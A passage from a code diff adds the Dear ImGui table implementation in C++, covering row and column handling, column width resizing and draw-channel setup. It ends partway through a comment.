+ImGuiTableColumnFlags ImGui::TableGetColumnFlags(int column_n) +{ + ImGuiContext& g = *GImGui; + ImGuiTable* table = g.CurrentTable; + if (!table) + return ImGuiTableColumnFlags_None; + if (column_n < 0) + column_n = table->CurrentColumn; + if (column_n == table->ColumnsCount) + return (table->HoveredColumnBody == column_n) ? ImGuiTableColumnFlags_IsHovered : ImGuiTableColumnFlags_None; + return table->Columns[column_n].Flags; +} + +// Return the cell rectangle based on currently known height. +// - Important: we generally don't know our row height until the end of the row, so Max.y will be incorrect in many situations. +// The only case where this is correct is if we provided a min_row_height to TableNextRow() and don't go below it. +// - Important: if ImGuiTableFlags_PadOuterX is set but ImGuiTableFlags_PadInnerX is not set, the outer-most left and right +// columns report a small offset so their CellBgRect can extend up to the outer border. +ImRect ImGui::TableGetCellBgRect(const ImGuiTable* table, int column_n) +{ + const ImGuiTableColumn* column = &table->Columns[column_n]; + float x1 = column->MinX; + float x2 = column->MaxX; + if (column->PrevEnabledColumn == -1) + x1 -= table->CellSpacingX1; + if (column->NextEnabledColumn == -1) + x2 += table->CellSpacingX2; + return ImRect(x1, table->RowPosY1, x2, table->RowPosY2); +} + +// Return the resizing ID for the right-side of the given column. +ImGuiID ImGui::TableGetColumnResizeID(const ImGuiTable* table, int column_n, int instance_no) +{ + IM_ASSERT(column_n < table->ColumnsCount); + ImGuiID id = table->ID + 1 + (instance_no * table->ColumnsCount) + column_n; + return id; +} + +// Return -1 when table is not hovered. return columns_count if the unused space at the right of visible columns is hovered. +int ImGui::TableGetHoveredColumn() +{ + ImGuiContext& g = *GImGui; + ImGuiTable* table = g.CurrentTable; + if (!table) + return -1; + return (int)table->HoveredColumnBody; +} + +void ImGui::TableSetBgColor(ImGuiTableBgTarget bg_target, ImU32 color, int column_n) +{ + ImGuiContext& g = *GImGui; + ImGuiTable* table = g.CurrentTable; + IM_ASSERT(bg_target != ImGuiTableBgTarget_None); + + if (color == IM_COL32_DISABLE) + color = 0; + + // We cannot draw neither the cell or row background immediately as we don't know the row height at this point in time. + switch (bg_target) + { + case ImGuiTableBgTarget_CellBg: + { + if (table->RowPosY1 > table->InnerClipRect.Max.y) // Discard + return; + if (column_n == -1) + column_n = table->CurrentColumn; + if ((table->VisibleMaskByIndex & ((ImU64)1 << column_n)) == 0) + return; + if (table->RowCellDataCurrent < 0 || table->RowCellData[table->RowCellDataCurrent].Column != column_n) + table->RowCellDataCurrent++; + ImGuiTableCellData* cell_data = &table->RowCellData[table->RowCellDataCurrent]; + cell_data->BgColor = color; + cell_data->Column = (ImGuiTableColumnIdx)column_n; + break; + } + case ImGuiTableBgTarget_RowBg0: + case ImGuiTableBgTarget_RowBg1: + { + if (table->RowPosY1 > table->InnerClipRect.Max.y) // Discard + return; + IM_ASSERT(column_n == -1); + int bg_idx = (bg_target == ImGuiTableBgTarget_RowBg1) ? 1 : 0; + table->RowBgColor[bg_idx] = color; + break; + } + default: + IM_ASSERT(0); + } +} + +//------------------------------------------------------------------------- +// [SECTION] Tables: Row changes +//------------------------------------------------------------------------- +// - TableGetRowIndex() +// - TableNextRow() +// - TableBeginRow() [Internal] +// - TableEndRow() [Internal] +//------------------------------------------------------------------------- + +// [Public] Note: for row coloring we use ->RowBgColorCounter which is the same value without counting header rows +int ImGui::TableGetRowIndex() +{ + ImGuiContext& g = *GImGui; + ImGuiTable* table = g.CurrentTable; + if (!table) + return 0; + return table->CurrentRow; +} + +// [Public] Starts into the first cell of a new row +void ImGui::TableNextRow(ImGuiTableRowFlags row_flags, float row_min_height) +{ + ImGuiContext& g = *GImGui; + ImGuiTable* table = g.CurrentTable; + + if (!table->IsLayoutLocked) + TableUpdateLayout(table); + if (table->IsInsideRow) + TableEndRow(table); + + table->LastRowFlags = table->RowFlags; + table->RowFlags = row_flags; + table->RowMinHeight = row_min_height; + TableBeginRow(table); + + // We honor min_row_height requested by user, but cannot guarantee per-row maximum height, + // because that would essentially require a unique clipping rectangle per-cell. + table->RowPosY2 += table->CellPaddingY * 2.0f; + table->RowPosY2 = ImMax(table->RowPosY2, table->RowPosY1 + row_min_height); + + // Disable output until user calls TableNextColumn() + table->InnerWindow->SkipItems = true; +} + +// [Internal] Called by TableNextRow() +void ImGui::TableBeginRow(ImGuiTable* table) +{ + ImGuiWindow* window = table->InnerWindow; + IM_ASSERT(!table->IsInsideRow); + + // New row + table->CurrentRow++; + table->CurrentColumn = -1; + table->RowBgColor[0] = table->RowBgColor[1] = IM_COL32_DISABLE; + table->RowCellDataCurrent = -1; + table->IsInsideRow = true; + + // Begin frozen rows + float next_y1 = table->RowPosY2; + if (table->CurrentRow == 0 && table->FreezeRowsCount > 0) + next_y1 = window->DC.CursorPos.y = table->OuterRect.Min.y; + + table->RowPosY1 = table->RowPosY2 = next_y1; + table->RowTextBaseline = 0.0f; + table->RowIndentOffsetX = window->DC.Indent.x - table->HostIndentX; // Lock indent + window->DC.PrevLineTextBaseOffset = 0.0f; + window->DC.CursorMaxPos.y = next_y1; + + // Making the header BG color non-transparent will allow us to overlay it multiple times when handling smooth dragging. + if (table->RowFlags & ImGuiTableRowFlags_Headers) + { + TableSetBgColor(ImGuiTableBgTarget_RowBg0, GetColorU32(ImGuiCol_TableHeaderBg)); + if (table->CurrentRow == 0) + table->IsUsingHeaders = true; + } +} + +// [Internal] Called by TableNextRow() +void ImGui::TableEndRow(ImGuiTable* table) +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + IM_ASSERT(window == table->InnerWindow); + IM_ASSERT(table->IsInsideRow); + + if (table->CurrentColumn != -1) + TableEndCell(table); + + // Position cursor at the bottom of our row so it can be used for e.g. clipping calculation. However it is + // likely that the next call to TableBeginCell() will reposition the cursor to take account of vertical padding. + window->DC.CursorPos.y = table->RowPosY2; + + // Row background fill + const float bg_y1 = table->RowPosY1; + const float bg_y2 = table->RowPosY2; + const bool unfreeze_rows_actual = (table->CurrentRow + 1 == table->FreezeRowsCount); + const bool unfreeze_rows_request = (table->CurrentRow + 1 == table->FreezeRowsRequest); + if (table->CurrentRow == 0) + table->LastFirstRowHeight = bg_y2 - bg_y1; + + const bool is_visible = (bg_y2 >= table->InnerClipRect.Min.y && bg_y1 <= table->InnerClipRect.Max.y); + if (is_visible) + { + // Decide of background color for the row + ImU32 bg_col0 = 0; + ImU32 bg_col1 = 0; + if (table->RowBgColor[0] != IM_COL32_DISABLE) + bg_col0 = table->RowBgColor[0]; + else if (table->Flags & ImGuiTableFlags_RowBg) + bg_col0 = GetColorU32((table->RowBgColorCounter & 1) ? ImGuiCol_TableRowBgAlt : ImGuiCol_TableRowBg); + if (table->RowBgColor[1] != IM_COL32_DISABLE) + bg_col1 = table->RowBgColor[1]; + + // Decide of top border color + ImU32 border_col = 0; + const float border_size = TABLE_BORDER_SIZE; + if (table->CurrentRow > 0 || table->InnerWindow == table->OuterWindow) + if (table->Flags & ImGuiTableFlags_BordersInnerH) + border_col = (table->LastRowFlags & ImGuiTableRowFlags_Headers) ? table->BorderColorStrong : table->BorderColorLight; + + const bool draw_cell_bg_color = table->RowCellDataCurrent >= 0; + const bool draw_strong_bottom_border = unfreeze_rows_actual; + if ((bg_col0 | bg_col1 | border_col) != 0 || draw_strong_bottom_border || draw_cell_bg_color) + { + // In theory we could call SetWindowClipRectBeforeSetChannel() but since we know TableEndRow() is + // always followed by a change of clipping rectangle we perform the smallest overwrite possible here. + if ((table->Flags & ImGuiTableFlags_NoClip) == 0) + window->DrawList->_CmdHeader.ClipRect = table->Bg0ClipRectForDrawCmd.ToVec4(); + table->DrawSplitter.SetCurrentChannel(window->DrawList, TABLE_DRAW_CHANNEL_BG0); + } + + // Draw row background + // We soft/cpu clip this so all backgrounds and borders can share the same clipping rectangle + if (bg_col0 || bg_col1) + { + ImRect row_rect(table->WorkRect.Min.x, bg_y1, table->WorkRect.Max.x, bg_y2); + row_rect.ClipWith(table->BgClipRect); + if (bg_col0 != 0 && row_rect.Min.y < row_rect.Max.y) + window->DrawList->AddRectFilled(row_rect.Min, row_rect.Max, bg_col0); + if (bg_col1 != 0 && row_rect.Min.y < row_rect.Max.y) + window->DrawList->AddRectFilled(row_rect.Min, row_rect.Max, bg_col1); + } + + // Draw cell background color + if (draw_cell_bg_color) + { + ImGuiTableCellData* cell_data_end = &table->RowCellData[table->RowCellDataCurrent]; + for (ImGuiTableCellData* cell_data = &table->RowCellData[0]; cell_data <= cell_data_end; cell_data++) + { + const ImGuiTableColumn* column = &table->Columns[cell_data->Column]; + ImRect cell_bg_rect = TableGetCellBgRect(table, cell_data->Column); + cell_bg_rect.ClipWith(table->BgClipRect); + cell_bg_rect.Min.x = ImMax(cell_bg_rect.Min.x, column->ClipRect.Min.x); // So that first column after frozen one gets clipped + cell_bg_rect.Max.x = ImMin(cell_bg_rect.Max.x, column->MaxX); + window->DrawList->AddRectFilled(cell_bg_rect.Min, cell_bg_rect.Max, cell_data->BgColor); + } + } + + // Draw top border + if (border_col && bg_y1 >= table->BgClipRect.Min.y && bg_y1 < table->BgClipRect.Max.y) + window->DrawList->AddLine(ImVec2(table->BorderX1, bg_y1), ImVec2(table->BorderX2, bg_y1), border_col, border_size); + + // Draw bottom border at the row unfreezing mark (always strong) + if (draw_strong_bottom_border && bg_y2 >= table->BgClipRect.Min.y && bg_y2 < table->BgClipRect.Max.y) + window->DrawList->AddLine(ImVec2(table->BorderX1, bg_y2), ImVec2(table->BorderX2, bg_y2), table->BorderColorStrong, border_size); + } + + // End frozen rows (when we are past the last frozen row line, teleport cursor and alter clipping rectangle) + // We need to do that in TableEndRow() instead of TableBeginRow() so the list clipper can mark end of row and + // get the new cursor position. + if (unfreeze_rows_request) + for (int column_n = 0; column_n < table->ColumnsCount; column_n++) + { + ImGuiTableColumn* column = &table->Columns[column_n]; + column->NavLayerCurrent = (ImS8)((column_n < table->FreezeColumnsCount) ? ImGuiNavLayer_Menu : ImGuiNavLayer_Main); + } + if (unfreeze_rows_actual) + { + IM_ASSERT(table->IsUnfrozen == false); + table->IsUnfrozen = true; + + // BgClipRect starts as table->InnerClipRect, reduce it now and make BgClipRectForDrawCmd == BgClipRect + float y0 = ImMax(table->RowPosY2 + 1, window->InnerClipRect.Min.y); + table->BgClipRect.Min.y = table->Bg2ClipRectForDrawCmd.Min.y = ImMin(y0, window->InnerClipRect.Max.y); + table->BgClipRect.Max.y = table->Bg2ClipRectForDrawCmd.Max.y = window->InnerClipRect.Max.y; + table->Bg2DrawChannelCurrent = table->Bg2DrawChannelUnfrozen; + IM_ASSERT(table->Bg2ClipRectForDrawCmd.Min.y <= table->Bg2ClipRectForDrawCmd.Max.y); + + float row_height = table->RowPosY2 - table->RowPosY1; + table->RowPosY2 = window->DC.CursorPos.y = table->WorkRect.Min.y + table->RowPosY2 - table->OuterRect.Min.y; + table->RowPosY1 = table->RowPosY2 - row_height; + for (int column_n = 0; column_n < table->ColumnsCount; column_n++) + { + ImGuiTableColumn* column = &table->Columns[column_n]; + column->DrawChannelCurrent = column->DrawChannelUnfrozen; + column->ClipRect.Min.y = table->Bg2ClipRectForDrawCmd.Min.y; + } + + // Update cliprect ahead of TableBeginCell() so clipper can access to new ClipRect->Min.y + SetWindowClipRectBeforeSetChannel(window, table->Columns[0].ClipRect); + table->DrawSplitter.SetCurrentChannel(window->DrawList, table->Columns[0].DrawChannelCurrent); + } + + if (!(table->RowFlags & ImGuiTableRowFlags_Headers)) + table->RowBgColorCounter++; + table->IsInsideRow = false; +} + +//------------------------------------------------------------------------- +// [SECTION] Tables: Columns changes +//------------------------------------------------------------------------- +// - TableGetColumnIndex() +// - TableSetColumnIndex() +// - TableNextColumn() +// - TableBeginCell() [Internal] +// - TableEndCell() [Internal] +//------------------------------------------------------------------------- + +int ImGui::TableGetColumnIndex() +{ + ImGuiContext& g = *GImGui; + ImGuiTable* table = g.CurrentTable; + if (!table) + return 0; + return table->CurrentColumn; +} + +// [Public] Append into a specific column +bool ImGui::TableSetColumnIndex(int column_n) +{ + ImGuiContext& g = *GImGui; + ImGuiTable* table = g.CurrentTable; + if (!table) + return false; + + if (table->CurrentColumn != column_n) + { + if (table->CurrentColumn != -1) + TableEndCell(table); + IM_ASSERT(column_n >= 0 && table->ColumnsCount); + TableBeginCell(table, column_n); + } + + // Return whether the column is visible. User may choose to skip submitting items based on this return value, + // however they shouldn't skip submitting for columns that may have the tallest contribution to row height. + return (table->RequestOutputMaskByIndex & ((ImU64)1 << column_n)) != 0; +} + +// [Public] Append into the next column, wrap and create a new row when already on last column +bool ImGui::TableNextColumn() +{ + ImGuiContext& g = *GImGui; + ImGuiTable* table = g.CurrentTable; + if (!table) + return false; + + if (table->IsInsideRow && table->CurrentColumn + 1 < table->ColumnsCount) + { + if (table->CurrentColumn != -1) + TableEndCell(table); + TableBeginCell(table, table->CurrentColumn + 1); + } + else + { + TableNextRow(); + TableBeginCell(table, 0); + } + + // Return whether the column is visible. User may choose to skip submitting items based on this return value, + // however they shouldn't skip submitting for columns that may have the tallest contribution to row height. + int column_n = table->CurrentColumn; + return (table->RequestOutputMaskByIndex & ((ImU64)1 << column_n)) != 0; +} + + +// [Internal] Called by TableSetColumnIndex()/TableNextColumn() +// This is called very frequently, so we need to be mindful of unnecessary overhead. +// FIXME-TABLE FIXME-OPT: Could probably shortcut some things for non-active or clipped columns. +void ImGui::TableBeginCell(ImGuiTable* table, int column_n) +{ + ImGuiTableColumn* column = &table->Columns[column_n]; + ImGuiWindow* window = table->InnerWindow; + table->CurrentColumn = column_n; + + // Start position is roughly ~~ CellRect.Min + CellPadding + Indent + float start_x = column->WorkMinX; + if (column->Flags & ImGuiTableColumnFlags_IndentEnable) + start_x += table->RowIndentOffsetX; // ~~ += window.DC.Indent.x - table->HostIndentX, except we locked it for the row. + + window->DC.CursorPos.x = start_x; + window->DC.CursorPos.y = table->RowPosY1 + table->CellPaddingY; + window->DC.CursorMaxPos.x = window->DC.CursorPos.x; + window->DC.ColumnsOffset.x = start_x - window->Pos.x - window->DC.Indent.x; // FIXME-WORKRECT + window->DC.CurrLineTextBaseOffset = table->RowTextBaseline; + window->DC.NavLayerCurrent = (ImGuiNavLayer)column->NavLayerCurrent; + + window->WorkRect.Min.y = window->DC.CursorPos.y; + window->WorkRect.Min.x = column->WorkMinX; + window->WorkRect.Max.x = column->WorkMaxX; + window->DC.ItemWidth = column->ItemWidth; + + // To allow ImGuiListClipper to function we propagate our row height + if (!column->IsEnabled) + window->DC.CursorPos.y = ImMax(window->DC.CursorPos.y, table->RowPosY2); + + window->SkipItems = column->IsSkipItems; + if (column->IsSkipItems) + { + window->DC.LastItemId = 0; + window->DC.LastItemStatusFlags = 0; + } + + if (table->Flags & ImGuiTableFlags_NoClip) + { + // FIXME: if we end up drawing all borders/bg in EndTable, could remove this and just assert that channel hasn't changed. + table->DrawSplitter.SetCurrentChannel(window->DrawList, TABLE_DRAW_CHANNEL_NOCLIP); + //IM_ASSERT(table->DrawSplitter._Current == TABLE_DRAW_CHANNEL_NOCLIP); + } + else + { + // FIXME-TABLE: Could avoid this if draw channel is dummy channel? + SetWindowClipRectBeforeSetChannel(window, column->ClipRect); + table->DrawSplitter.SetCurrentChannel(window->DrawList, column->DrawChannelCurrent); + } +} + +// [Internal] Called by TableNextRow()/TableSetColumnIndex()/TableNextColumn() +void ImGui::TableEndCell(ImGuiTable* table) +{ + ImGuiTableColumn* column = &table->Columns[table->CurrentColumn]; + ImGuiWindow* window = table->InnerWindow; + + // Report maximum position so we can infer content size per column. + float* p_max_pos_x; + if (table->RowFlags & ImGuiTableRowFlags_Headers) + p_max_pos_x = &column->ContentMaxXHeadersUsed; // Useful in case user submit contents in header row that is not a TableHeader() call + else + p_max_pos_x = table->IsUnfrozen ? &column->ContentMaxXUnfrozen : &column->ContentMaxXFrozen; + *p_max_pos_x = ImMax(*p_max_pos_x, window->DC.CursorMaxPos.x); + table->RowPosY2 = ImMax(table->RowPosY2, window->DC.CursorMaxPos.y + table->CellPaddingY); + column->ItemWidth = window->DC.ItemWidth; + + // Propagate text baseline for the entire row + // FIXME-TABLE: Here we propagate text baseline from the last line of the cell.. instead of the first one. + table->RowTextBaseline = ImMax(table->RowTextBaseline, window->DC.PrevLineTextBaseOffset); +} + +//------------------------------------------------------------------------- +// [SECTION] Tables: Columns width management +//------------------------------------------------------------------------- +// - TableGetMaxColumnWidth() [Internal] +// - TableGetColumnWidthAuto() [Internal] +// - TableSetColumnWidth() +// - TableSetColumnWidthAutoSingle() [Internal] +// - TableSetColumnWidthAutoAll() [Internal] +// - TableUpdateColumnsWeightFromWidth() [Internal] +//------------------------------------------------------------------------- + +// Maximum column content width given current layout. Use column->MinX so this value on a per-column basis. +float ImGui::TableGetMaxColumnWidth(const ImGuiTable* table, int column_n) +{ + const ImGuiTableColumn* column = &table->Columns[column_n]; + float max_width = FLT_MAX; + const float min_column_distance = table->MinColumnWidth + table->CellPaddingX * 2.0f + table->CellSpacingX1 + table->CellSpacingX2; + if (table->Flags & ImGuiTableFlags_ScrollX) + { + // Frozen columns can't reach beyond visible width else scrolling will naturally break. + if (column->DisplayOrder < table->FreezeColumnsRequest) + { + max_width = (table->InnerClipRect.Max.x - (table->FreezeColumnsRequest - column->DisplayOrder) * min_column_distance) - column->MinX; + max_width = max_width - table->OuterPaddingX - table->CellPaddingX - table->CellSpacingX2; + } + } + else if ((table->Flags & ImGuiTableFlags_NoKeepColumnsVisible) == 0) + { + // If horizontal scrolling if disabled, we apply a final lossless shrinking of columns in order to make + // sure they are all visible. Because of this we also know that all of the columns will always fit in + // table->WorkRect and therefore in table->InnerRect (because ScrollX is off) + // FIXME-TABLE: This is solved incorrectly but also quite a difficult problem to fix as we also want ClipRect width to match. + // See "table_width_distrib" and "table_width_keep_visible" tests + max_width = table->WorkRect.Max.x - (table->ColumnsEnabledCount - column->IndexWithinEnabledSet - 1) * min_column_distance - column->MinX; + //max_width -= table->CellSpacingX1; + max_width -= table->CellSpacingX2; + max_width -= table->CellPaddingX * 2.0f; + max_width -= table->OuterPaddingX; + } + return max_width; +} + +// Note this is meant to be stored in column->WidthAuto, please generally use the WidthAuto field +float ImGui::TableGetColumnWidthAuto(ImGuiTable* table, ImGuiTableColumn* column) +{ + const float content_width_body = ImMax(column->ContentMaxXFrozen, column->ContentMaxXUnfrozen) - column->WorkMinX; + const float content_width_headers = column->ContentMaxXHeadersIdeal - column->WorkMinX; + float width_auto = content_width_body; + if (!(column->Flags & ImGuiTableColumnFlags_NoHeaderWidth)) + width_auto = ImMax(width_auto, content_width_headers); + + // Non-resizable fixed columns preserve their requested width + if ((column->Flags & ImGuiTableColumnFlags_WidthFixed) && column->InitStretchWeightOrWidth > 0.0f) + if (!(table->Flags & ImGuiTableFlags_Resizable) || (column->Flags & ImGuiTableColumnFlags_NoResize)) + width_auto = ImMax(width_auto, column->InitStretchWeightOrWidth); + + return ImMax(width_auto, table->MinColumnWidth); +} + +// 'width' = inner column width, without padding +void ImGui::TableSetColumnWidth(int column_n, float width) +{ + ImGuiContext& g = *GImGui; + ImGuiTable* table = g.CurrentTable; + IM_ASSERT(table != NULL && table->IsLayoutLocked == false); + IM_ASSERT(column_n >= 0 && column_n < table->ColumnsCount); + ImGuiTableColumn* column_0 = &table->Columns[column_n]; + float column_0_width = width; + + // Apply constraints early + // Compare both requested and actual given width to avoid overwriting requested width when column is stuck (minimum size, bounded) + IM_ASSERT(table->MinColumnWidth > 0.0f); + const float min_width = table->MinColumnWidth; + const float max_width = ImMax(min_width, TableGetMaxColumnWidth(table, column_n)); + column_0_width = ImClamp(column_0_width, min_width, max_width); + if (column_0->WidthGiven == column_0_width || column_0->WidthRequest == column_0_width) + return; + + //IMGUI_DEBUG_LOG("TableSetColumnWidth(%d, %.1f->%.1f)\n", column_0_idx, column_0->WidthGiven, column_0_width); + ImGuiTableColumn* column_1 = (column_0->NextEnabledColumn != -1) ? &table->Columns[column_0->NextEnabledColumn] : NULL; + + // In this surprisingly not simple because of how we support mixing Fixed and multiple Stretch columns. + // - All fixed: easy. + // - All stretch: easy. + // - One or more fixed + one stretch: easy. + // - One or more fixed + more than one stretch: tricky. + // Qt when manual resize is enabled only support a single _trailing_ stretch column. + + // When forwarding resize from Wn| to Fn+1| we need to be considerate of the _NoResize flag on Fn+1. + // FIXME-TABLE: Find a way to rewrite all of this so interactions feel more consistent for the user. + // Scenarios: + // - F1 F2 F3 resize from F1| or F2| --> ok: alter ->WidthRequested of Fixed column. Subsequent columns will be offset. + // - F1 F2 F3 resize from F3| --> ok: alter ->WidthRequested of Fixed column. If active, ScrollX extent can be altered. + // - F1 F2 W3 resize from F1| or F2| --> ok: alter ->WidthRequested of Fixed column. If active, ScrollX extent can be altered, but it doesn't make much sense as the Stretch column will always be minimal size. + // - F1 F2 W3 resize from W3| --> ok: no-op (disabled by Resize Rule 1) + // - W1 W2 W3 resize from W1| or W2| --> ok + // - W1 W2 W3 resize from W3| --> ok: no-op (disabled by Resize Rule 1) + // - W1 F2 F3 resize from F3| --> ok: no-op (disabled by Resize Rule 1) + // - W1 F2 resize from F2| --> ok: no-op (disabled by Resize Rule 1) + // - W1 W2 F3 resize from W1| or W2| --> ok + // - W1 F2 W3 resize from W1| or F2| --> ok + // - F1 W2 F3 resize from W2| --> ok + // - F1 W3 F2 resize from W3| --> ok + // - W1 F2 F3 resize from W1| --> ok: equivalent to resizing |F2. F3 will not move. + // - W1 F2 F3 resize from F2| --> ok + // All resizes from a Wx columns are locking other columns. + + // Possible improvements: + // - W1 W2 W3 resize W1| --> to not be stuck, both W2 and W3 would stretch down. Seems possible to fix. Would be most beneficial to simplify resize of all-weighted columns. + // - W3 F1 F2 resize W3| --> to not be stuck past F1|, both F1 and F2 would need to stretch down, which would be lossy or ambiguous. Seems hard to fix. + + // [Resize Rule 1] Can't resize from right of right-most visible column if there is any Stretch column. Implemented in TableUpdateLayout(). + + // If we have all Fixed columns OR resizing a Fixed column that doesn't come after a Stretch one, we can do an offsetting resize. + // This is the preferred resize path + if (column_0->Flags & ImGuiTableColumnFlags_WidthFixed) + if (!column_1 || table->LeftMostStretchedColumn == -1 || table->Columns[table->LeftMostStretchedColumn].DisplayOrder >= column_0->DisplayOrder) + { + column_0->WidthRequest = column_0_width; + table->IsSettingsDirty = true; + return; + } + + // We can also use previous column if there's no next one (this is used when doing an auto-fit on the right-most stretch column) + if (column_1 == NULL) + column_1 = (column_0->PrevEnabledColumn != -1) ? &table->Columns[column_0->PrevEnabledColumn] : NULL; + if (column_1 == NULL) + return; + + // Resizing from right-side of a Stretch column before a Fixed column forward sizing to left-side of fixed column. + // (old_a + old_b == new_a + new_b) --> (new_a == old_a + old_b - new_b) + float column_1_width = ImMax(column_1->WidthRequest - (column_0_width - column_0->WidthRequest), min_width); + column_0_width = column_0->WidthRequest + column_1->WidthRequest - column_1_width; + IM_ASSERT(column_0_width > 0.0f && column_1_width > 0.0f); + column_0->WidthRequest = column_0_width; + column_1->WidthRequest = column_1_width; + if ((column_0->Flags | column_1->Flags) & ImGuiTableColumnFlags_WidthStretch) + TableUpdateColumnsWeightFromWidth(table); + table->IsSettingsDirty = true; +} + +// Disable clipping then auto-fit, will take 2 frames +// (we don't take a shortcut for unclipped columns to reduce inconsistencies when e.g. resizing multiple columns) +void ImGui::TableSetColumnWidthAutoSingle(ImGuiTable* table, int column_n) +{ + // Single auto width uses auto-fit + ImGuiTableColumn* column = &table->Columns[column_n]; + if (!column->IsEnabled) + return; + column->CannotSkipItemsQueue = (1 << 0); + if (column->Flags & ImGuiTableColumnFlags_WidthStretch) + table->AutoFitSingleStretchColumn = (ImGuiTableColumnIdx)column_n; + else + column->AutoFitQueue = (1 << 1); +} + +void ImGui::TableSetColumnWidthAutoAll(ImGuiTable* table) +{ + for (int column_n = 0; column_n < table->ColumnsCount; column_n++) + { + ImGuiTableColumn* column = &table->Columns[column_n]; + if (!column->IsEnabled && !(column->Flags & ImGuiTableColumnFlags_WidthStretch)) // Can reset weight of hidden stretch column + continue; + column->CannotSkipItemsQueue = (1 << 0); + column->AutoFitQueue = (1 << 1); + } +} + +void ImGui::TableUpdateColumnsWeightFromWidth(ImGuiTable* table) +{ + IM_ASSERT(table->LeftMostStretchedColumn != -1 && table->RightMostStretchedColumn != -1); + + // Measure existing quantity + float visible_weight = 0.0f; + float visible_width = 0.0f; + for (int column_n = 0; column_n < table->ColumnsCount; column_n++) + { + ImGuiTableColumn* column = &table->Columns[column_n]; + if (!column->IsEnabled || !(column->Flags & ImGuiTableColumnFlags_WidthStretch)) + continue; + IM_ASSERT(column->StretchWeight > 0.0f); + visible_weight += column->StretchWeight; + visible_width += column->WidthRequest; + } + IM_ASSERT(visible_weight > 0.0f && visible_width > 0.0f); + + // Apply new weights + for (int column_n = 0; column_n < table->ColumnsCount; column_n++) + { + ImGuiTableColumn* column = &table->Columns[column_n]; + if (!column->IsEnabled || !(column->Flags & ImGuiTableColumnFlags_WidthStretch)) + continue; + column->StretchWeight = (column->WidthRequest / visible_width) * visible_weight; + IM_ASSERT(column->StretchWeight > 0.0f); + } +} + +//------------------------------------------------------------------------- +// [SECTION] Tables: Drawing +//------------------------------------------------------------------------- +// - TablePushBackgroundChannel() [Internal] +// - TablePopBackgroundChannel() [Internal] +// - TableSetupDrawChannels() [Internal] +// - TableMergeDrawChannels() [Internal] +// - TableDrawBorders() [Internal] +//------------------------------------------------------------------------- + +// Bg2 is used by Selectable (and possibly other widgets) to render to the background. +// Unlike our Bg0/1 channel which we uses for RowBg/CellBg/Borders and where we guarantee all shapes to be CPU-clipped, the Bg2 channel being widgets-facing will rely on regular ClipRect. +void ImGui::TablePushBackgroundChannel() +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + ImGuiTable* table = g.CurrentTable; + + // Optimization: avoid SetCurrentChannel() + PushClipRect() + table->HostBackupInnerClipRect = window->ClipRect; + SetWindowClipRectBeforeSetChannel(window, table->Bg2ClipRectForDrawCmd); + table->DrawSplitter.SetCurrentChannel(window->DrawList, table->Bg2DrawChannelCurrent); +} + +void ImGui::TablePopBackgroundChannel() +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + ImGuiTable* table = g.CurrentTable; + ImGuiTableColumn* column = &table->Columns[table->CurrentColumn]; + + // Optimization: avoid PopClipRect() + SetCurrentChannel() + SetWindowClipRectBeforeSetChannel(window, table->HostBackupInnerClipRect); + table->DrawSplitter.SetCurrentChannel(window->DrawList, column->DrawChannelCurrent); +} + +// Allocate draw channels. Called by TableUpdateLayout() +// - We allocate them following storage order instead of display order so reordering columns won't needlessly +// increase overall dormant memory cost. +// - We isolate headers draw commands in their own channels instead of just altering clip rects. +// This is in order to facilitate merging of draw commands. +// - After crossing FreezeRowsCount, all columns see their current draw channel changed to a second set of channels. +// - We only use the dummy draw channel so we can push a null clipping rectangle into it without affecting other +// channels, while simplifying per-row/per-cell overhead. It will be empty and discarded when merged. +// - We allocate 1 or 2 background draw channels. This is because we know TablePushBackgroundChannel() is only used for +// horizontal spanning. If we allowed vertical spanning we'd need one background draw channel per merge group (1-4). +// Draw channel allocation (before merging): +// - NoClip --> 2+D+1 channels: bg0/1 + bg2 + foreground (same clip rect == always 1 draw call) +// - Clip --> 2+D+N channels +// - FreezeRows --> 2+D+N*2 (unless scrolling value is zero) +// - FreezeRows || FreezeColunns --> 3+D+N*2 (unless scrolling value is zero) +// Where D is 1 if any column is clipped or hidden (dummy channel) otherwise 0. +void ImGui::TableSetupDrawChannels(ImGuiTable* table) +{ + const int freeze_row_multiplier = (table->FreezeRowsCount > 0) ? 2 : 1; + const int channels_for_row = (table->Flags & ImGuiTableFlags_NoClip) ? 1 : table->ColumnsEnabledCount; + const int channels_for_bg = 1 + 1 * freeze_row_multiplier; + const int channels_for_dummy = (table->ColumnsEnabledCount < table->ColumnsCount || table->VisibleMaskByIndex != table->EnabledMaskByIndex) ? +1 : 0; + const int channels_total = channels_for_bg + (channels_for_row * freeze_row_multiplier) + channels_for_dummy; + table->DrawSplitter.Split(table->InnerWindow->DrawList, channels_total); + table->DummyDrawChannel = (ImGuiTableDrawChannelIdx)((channels_for_dummy > 0) ? channels_total - 1 : -1); + table->Bg2DrawChannelCurrent = TABLE_DRAW_CHANNEL_BG2_FROZEN; + table->Bg2DrawChannelUnfrozen = (ImGuiTableDrawChannelIdx)((table->FreezeRowsCount > 0) ? 2 + channels_for_row : TABLE_DRAW_CHANNEL_BG2_FROZEN); + + int draw_channel_current = 2; + for (int column_n = 0; column_n < table->ColumnsCount; column_n++) + { + ImGuiTableColumn* column = &table->Columns[column_n]; + if (column->IsVisibleX && column->IsVisibleY) + { + column->DrawChannelFrozen = (ImGuiTableDrawChannelIdx)(draw_channel_current); + column->DrawChannelUnfrozen = (ImGuiTableDrawChannelIdx)(draw_channel_current + (table->FreezeRowsCount > 0 ? channels_for_row + 1 : 0)); + if (!(table->Flags & ImGuiTableFlags_NoClip)) + draw_channel_current++; + } + else + { + column->DrawChannelFrozen = column->DrawChannelUnfrozen = table->DummyDrawChannel; + } + column->DrawChannelCurrent = column->DrawChannelFrozen; + } + + // Initial draw cmd starts with a BgClipRect that matches the one of its host, to facilitate merge draw commands by default. + // All our cell highlight are manually clipped with BgClipRect. When unfreezing it will be made smaller to fit scrolling rect. + // (This technically isn't part of setting up draw channels, but is reasonably related to be done here) + table->BgClipRect = table->InnerClipRect; + table->Bg0ClipRectForDrawCmd = table->OuterWindow->ClipRect; + table->Bg2ClipRectForDrawCmd = table->HostClipRect; + IM_ASSERT(table->BgClipRect.Min.y <= table->BgClipRect.Max.y); +} + +// This function reorder draw channels based on matching clip rectangle, to facilitate merging them. Called by EndTable(). +// For simplicity we call it TableMergeDrawChannels() but in fact it only reorder channels + 